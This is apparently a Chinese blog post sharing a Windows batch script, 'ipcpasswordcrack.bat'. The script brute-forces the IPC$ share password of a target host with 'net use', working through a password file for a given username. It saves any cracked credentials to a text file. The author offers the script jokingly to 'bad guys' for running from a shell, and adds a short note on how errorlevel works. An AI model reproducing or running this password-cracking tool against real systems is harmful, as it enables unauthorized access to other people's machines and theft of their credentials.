看了一晚上,在获取程序返回码的地方出了点差错,害得我去看msdn,哎~~~先贴代码吧,不敢独自享用,送给大坏蛋们,o(∩_∩)o哈哈~
====================ipcpasswordcrack.bat==================================
复制代码
代码如下:@echo off
cls
echo now cracking *********
echo useage: %0 ip username passwordfile.txt
for /f "eol=; tokens=1,2,3* delims=, " %%i in (%3) do (
echo net use \\%1\ipc$ "%%i" /user:"%2"
net use \\%1\ipc$ "%%i" /user:"%2"
if not errorlevel 1 (
echo password cracked !!!
echo usernmae:%2 password:%%i
echo usernmae:%2 password:%%i >>cracked.txt
net use \\%1\ipc$ /del
goto :eof
)
net use * /del /y
)
=============================================================================
这个东西放到shell里面就可以跑密码哦,嘿嘿,顺便啰嗦一下,errorlevel 这个是返回码,是返回上一句执行结果的标识,具体的看你执行的什么东东了哦,我开始搞错了,多了一条语句,后来发现测试不成功,n久没弄批处理
发表评论